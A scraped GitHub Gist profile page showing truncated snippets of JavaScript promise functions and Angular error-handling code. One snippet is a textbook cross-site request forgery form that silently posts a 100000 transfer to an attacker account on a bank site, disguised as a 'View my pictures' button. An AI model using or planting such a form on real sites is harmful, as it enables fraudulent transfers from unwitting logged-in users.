Skip to content

Instantly share code, notes, and snippets.

View manojsingh047's full-sized avatar
🎯
the uncool developer

Manoj Singh manojsingh047

🎯
the uncool developer
View GitHub Profile
// promise function 1
function p1(a) {
console.log('p1', a);
return new Promise((resolve, reject) => {
resolve(a * 1);
});
}
// promise function 2
function p2(a) {
<form action="http://bank.com/transfer.do" method="POST">
<input type="hidden" name="acct" value="ATTACKER_ACCOUNT"/> 
<input type="hidden" name="amount" value="100000"/>
<input type="submit" value="View my pictures"/>
</form>
import { ErrorHandler, Injectable} from '@angular/core';
import { HttpErrorResponse } from '@angular/common/http';
import { CustomError } from './custom-error';
@Injectable()
export class GlobalErrorHandler implements ErrorHandler {
constructor() { }
handleError(error) {
if(error instanceof HttpErrorResponse){
//write your handler for network errors, may be send to error loggers
}
export class CustomError extends Error {
constructor(m: string) {
super(m);
// Set the prototype explicitly.
Object.setPrototypeOf(this, CustomError.prototype);
}
}
import { BrowserModule } from '@angular/platform-browser';
import { NgModule, ErrorHandler } from '@angular/core';
import { AppComponent } from './app.component';
import { GlobalErrorHandler } from './error-handler.service';
@NgModule({
declarations: [
AppComponent
],
import { ErrorHandler, Injectable} from '@angular/core';
@Injectable()
export class GlobalErrorHandler implements ErrorHandler {
constructor() { }
handleError(error) {
console.error(error);
}
}